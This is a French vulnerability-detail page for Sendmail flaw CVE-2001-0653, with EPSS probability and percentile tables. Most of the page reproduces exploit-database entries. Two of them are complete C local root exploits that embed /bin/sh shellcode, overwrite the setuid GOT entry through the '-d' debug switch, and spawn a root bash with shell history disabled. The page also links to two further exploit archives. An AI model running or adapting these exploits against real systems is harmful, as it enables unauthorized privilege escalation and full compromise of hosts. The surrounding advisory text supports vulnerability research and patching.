CVE-2001-0653 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.38%
2025-03-30	–	–	–	–	0.32%
2025-04-15	–	–	–	–	0.32%
2025-04-15	–	–	–	–	0.32,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	57%
2025-03-30	52%
2025-04-15	54%
2025-04-15	54%

// source: https://www.securityfocus.com/bid/3163/info An input validation error exists in Sendmail's debugging functionality. The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given. Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment. /* * alsou.c * * sendmail-8.11.x linux x86 exploit * * To use this exploit you should know two numbers: VECT and GOT. * Use gdb to find the first: * * $ gdb -q /usr/sbin/sendmail * (gdb) break tTflag * Breakpoint 1 at 0x8080629 * (gdb) r -d1-1.1 * Starting program: /usr/sbin/sendmail -d1-1.1 * * Breakpoint 1, 0x8080629 in tTflag () * (gdb) disassemble tTflag * ............. * 0x80806ea <tTflag+202>: dec %edi * 0x80806eb <tTflag+203>: mov %edi,0xfffffff8(%ebp) * 0x80806ee <tTflag+206>: jmp 0x80806f9 <tTflag+217> * 0x80806f0 <tTflag+208>: mov 0x80b21f4,%eax * ^^^^^^^^^^^^^^^^^^ address of VECT * 0x80806f5 <tTflag+213>: mov %bl,(%esi,%eax,1) * 0x80806f8 <tTflag+216>: inc %esi * 0x80806f9 <tTflag+217>: cmp 0xfffffff8(%ebp),%esi * 0x80806fc <tTflag+220>: jle 0x80806f0 <tTflag+208> * ............. * (gdb) x/x 0x80b21f4 * 0x80b21f4 <tTvect>: 0x080b9ae0 * ^^^^^^^^^^^^^ VECT * * Use objdump to find the second: * $ objdump -R /usr/sbin/sendmail |grep setuid * 0809e07c R_386_JUMP_SLOT setuid * ^^^^^^^^^ GOT * * Probably you should play with OFFSET to make exploit work. * * Constant values, written in this code found for sendmail-8.11.4 * on RedHat-6.2. For sendmail-8.11.0 on RedHat-6.2 try VECT = 0x080b9ae0 and * GOT = 0x0809e07c. * * To get r00t type ./alsou and then press Ctrl+C. * * * grange <grange@rt.mipt.ru> * */ #include <sys/types.h> #include <stdlib.h> #define OFFSET 1000 #define VECT 0x080baf20 #define GOT 0x0809f544 #define NOPNUM 1024 char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; unsigned int get_esp() { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *egg, s[256], tmp[256], *av[3], *ev[2]; unsigned int got = GOT, vect = VECT, ret, first, last, i; egg = (char *)malloc(strlen(shellcode) + NOPNUM + 5); if (egg == NULL) { perror("malloc()"); exit(-1); } sprintf(egg, "EGG="); memset(egg + 4, 0x90, NOPNUM); sprintf(egg + 4 + NOPNUM, "%s", shellcode); ret = get_esp() + OFFSET; sprintf(s, "-d"); first = -vect - (0xffffffff - got + 1); last = first; while (ret) { i = ret & 0xff; sprintf(tmp, "%u-%u.%u-", first, last, i); strcat(s, tmp); last = ++first; ret = ret >> 8; } s[strlen(s) - 1] = '\0'; av[0] = "/usr/sbin/sendmail"; av[1] = s; av[2] = NULL; ev[0] = egg; ev[1] = NULL; execve(*av, av, ev); }

// source: https://www.securityfocus.com/bid/3163/info An input validation error exists in Sendmail's debugging functionality. The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given. Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment. /* * sendmail 8.11.x exploit (i386-Linux) by sd@sf.cz (sd@ircnet) * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * fixed by Marcin Bukowski <insect@insect.hack.pl> * * <insect> I'll change, and fix this code requested by friend * for him * * -d specify depth of analysis (32) [bigger = more time] * -o change offset (-32000) [between 1000..-64000] * -v specify victim (/usr/sbin/sendmail) [suided binary] * -t specify temp directory (/tmp/.s11x) * * simply try to run an exploit without parameters * --------------------------------------------------------------- * */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <strings.h> #include <netinet/in.h> #include <sys/socket.h> #include <signal.h> #include <wait.h> #include <sys/stat.h> #define SM "/usr/sbin/sendmail" #define OBJDUMP "objdump" #define GDB "gdb" #define GREP "grep" #define COPYCMD "/bin/cp" #define RMCMD "/bin/rm" #define OURDIR "/tmp/.s11x" #define DLINE \ "%s -d %s 2> /dev/null | %s -B %d \ \"mov.*%%.l,(%%e..,%%e..,1)\" |\ %s \".mov.*0x80.*,%%e..\"" #define DLINEA OBJDUMP, vict, GREP, depth, GREP #define BRUTE_DLINE \ "%s -d %s 2> /dev/null | %s \ \".mov.*0x80.*,%%e..\"" #define BRUTE_DLINEA OBJDUMP, vict, GREP #define NOPLEN 32768 #define NOP 0x90 char shellcode[] = "\xeb\x0c\x5b\x31\xc0\x50\x89\xe1\x89" "\xe2\xb0\x0b\xcd\x80\xe8\xef\xff\xff\xff"; char scode[512]; char dvict[] = SM; struct target { uint off; uint brk; uint vect; }; unsigned int get_esp() { __asm__("movl %esp,%eax"); } char ourdir[256] = OURDIR; void giveup(int i) { char buf[256]; sprintf(buf, "%s -rf %s > /dev/null 2> /dev/null", RMCMD, ourdir); system(buf); // printf("[*] removing temp directory - %s\n", // ourdir); if (i >= 0) exit(i); } void sploit(char *victim, uint got, uint vect, uint ret) { unsigned char egg[sizeof(scode) + NOPLEN + 5]; char s[512] = "-d"; char *argv[3]; char *envp[2]; uint first, last, i; strcpy(egg, "EGG="); memset(egg + 4, NOP, NOPLEN); strcpy(egg + 4 + NOPLEN, scode); last = first = -vect - (0xffffffff - got + 1); while (ret) { char tmp[256]; i = ret & 0xff; sprintf(tmp, "%u-%u.%u-", first, last, i); strcat(s, tmp); last = ++first; ret = ret >> 8; } s[strlen(s) - 1] = 0; argv[0] = victim; argv[1] = s; argv[2] = NULL; envp[0] = egg; envp[1] = NULL; execve(victim, argv, envp); } int use(char *s) { printf("\n%s [command] [options]\n" "-h this help\n" "-d specify depth of analysis (32)\n" "-o change offset (-32000)\n" "-v specify victim (/usr/sbin/sendmail)\n" "-t specify temp directory (/tmp/.s11x)\n" "-b enables bruteforce (it can take 20-30 mins)\n", s); return 1; } int exploited = 0; void sigusr(int i) { exploited++; giveup(-1); } int main(int argc, char *argv[]) { char victim[256] = SM; char vict[256],gscr[256], path[256],d[256],buf[256]; struct stat st; FILE *f; struct target t[1024]; uint off,ep,l; int i,j,got,esp; int offset = -16384; int depth = 32; int brute = 0; if (!*argv) { dup2(2, 0); dup2(2, 1); setuid(0); setgid(0); kill(getppid(), SIGUSR1); printf( "------(*)>+== " "ENTERING ROOT SHELL" " ==+<(*)------" ); fflush(stdout); chdir("/"); setenv("PATH", "/bin:/usr/bin:/usr/local/bin:" "/sbin:/usr/sbin:/usr/local/sbin:" "/opt/bin:${PATH}",1); setenv("BASH_HISTORY", "/dev/null", 1); execl("/bin/bash", "-bash", NULL); } printf( " ------------------------------------------------\n" " Sendmail 8.11.x linux i386 exploit \n" " wroten by sd@sf.cz [sd@ircnet], \n" " fixed by insect@insect.hack.pl \n" " ------------------------------------------------\n" " type \"%s -h\" to get help\n",argv[0] ); while ((i=getopt(argc,argv,"hd:o:v:t:b"))!=EOF){ switch (i) { case 'd': if ((!optarg)||(sscanf(optarg,"%d",&depth)!=1)) return use(argv[0]); break; case 'o': if ((!optarg)||(sscanf(optarg,"%d",&offset)!=1)) return use(argv[0]); break; case 'v': if (!optarg) return use(argv[0]); strcpy(victim,optarg); break; case 't': if (!optarg) return use(argv[0]); strcpy(ourdir, optarg); break; case 'b': brute++; break; case 'h': default: return use(argv[0]); } } if (brute) printf( "[*] brute force " "to 20-30mins\n"); path[0] = 0; if (argv[0][0] != '/') { getcwd(path, 256); } sprintf(scode, "%s%s/%s", shellcode, path, argv[0]); esp = get_esp(); close(0); signal(SIGUSR1, sigusr); giveup(-1); printf( " [Victim=%s][Depth=%d][Offset=%d]\n" " [Temp=%s][Offset=%d][ESP=0x%08x]\n", victim, depth, offset, ourdir, esp ); stat(victim, &st); if ((st.st_mode & S_ISUID) == 0) { printf("[!] Error: %s doesn't have SUID mode\n", victim); } if (access(victim, R_OK + X_OK + F_OK) < 0) { printf("[!] Error: %s must exist, have mode +rx\n", victim); } if (mkdir(ourdir, 0777) < 0) { perror("[!] Error: creating temporary directory\n"); giveup(1); } //printf("[*] creating temp directory - %s\n", // ourdir); sprintf(buf, "%s -R %s | %s setuid", OBJDUMP, victim, GREP); f = popen(buf, "r"); if (fscanf(f, "%x", &got) != 1) { pclose(f); printf("[!] Error: cannot get " "setuid() GOT\n"); giveup(1); } pclose(f); printf("[*] --> Step 1. setuid() " "[got=0x%08x]\n", got); sprintf(vict, "%s/sm", ourdir); printf("[*] --> Step 2. copy " "[%s->%s]\n", victim, vict); fflush(stdout); sprintf(buf, "%s -f %s %s", COPYCMD, victim, vict); system(buf); if (access(vict,R_OK+X_OK+F_OK)<0){ printf( "[!] Error: copy victim to out temp\n"); giveup(1); } printf( "[*] --> Step 3. disassm our " "[%s]\n", vict); fflush(stdout); if (!brute) { sprintf(buf,DLINE,DLINEA); } else { sprintf(buf,BRUTE_DLINE,BRUTE_DLINEA); } f = popen(buf, "r"); i = 0; while (fgets(buf,256,f)) { int k, dontadd=0; if (sscanf(buf, "%x: %s %s %s %s %s %s 0x%x,%s\n", &ep,d,d,d,d,d,d,&off,d)==9){ for (k=0;k<i;k++){ if (t[k].off==off) dontadd++; } if (!dontadd) { t[i].off = off; t[i++].brk = ep; } } } pclose(f); sprintf(gscr, "%s/gdb", ourdir); off = 0; for (j=0; j < i; j++) { f = fopen(gscr, "w+"); if (!f) { printf("[!] Error: Cannot create gdb script\n"); giveup(1); } fprintf(f, "break *0x%x\nr -d1-1.1\nx/x 0x%x\n", t[j].brk, t[j].off); fclose(f); sprintf(buf, "%s -batch -x %s %s 2> /dev/null", GDB, gscr, vict); f = popen(buf, "r"); if (!f) { printf("[!] Error: Failed to spawn gdb!\n"); giveup(1); } while (1) { char buf[256]; char *p; t[j].vect = 0; p = fgets(buf, 256, f); if (!p) break; if (sscanf(p,"0x%x %s 0x%x",&ep,d,&l)==3){ t[j].vect = l; off++; break; } } pclose(f); if (t[j].vect) { int pid; printf(" ++[%d/%d](%d%%) " "GOT=0x%08x,VECT=0x%08x," "OFF=%d\n", j, i, j*100/i, got, t[j].vect, offset); fflush(stdout); pid = fork(); if (pid == 0) { close(1); sploit(victim,got,t[j].vect,esp+offset); } wait(NULL); if (exploited) { wait(NULL); printf(" [-*-] We rule! BYE! [-*-]\n"); exit(0); } } } printf( "[!] ERROR: all targets failed," "probably not buggie\n"); giveup(1); }

source: https://www.securityfocus.com/bid/3163/info An input validation error exists in Sendmail's debugging functionality. The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given. Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21062.tar.gz

source: https://www.securityfocus.com/bid/3163/info An input validation error exists in Sendmail's debugging functionality. The problem is the result of the use of signed integers in the program's tTflag() function, which is responsible for processing arguments supplied from the command line with the '-d' switch and writing the values to it's internal "trace vector." The vulnerability exists because it is possible to cause a signed integer overflow by supplying a large numeric value for the 'category' part of the debugger arguments. The numeric value is used as an index for the trace vector, and can therefore be used to write within a certain range of proces memory if a negative value is given. Because the '-d' command-line switch is processed before the program drops its elevated privileges, this could lead to a full system compromise. This vulnerability has been successfully exploited in a laboratory environment. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21063.tar.gz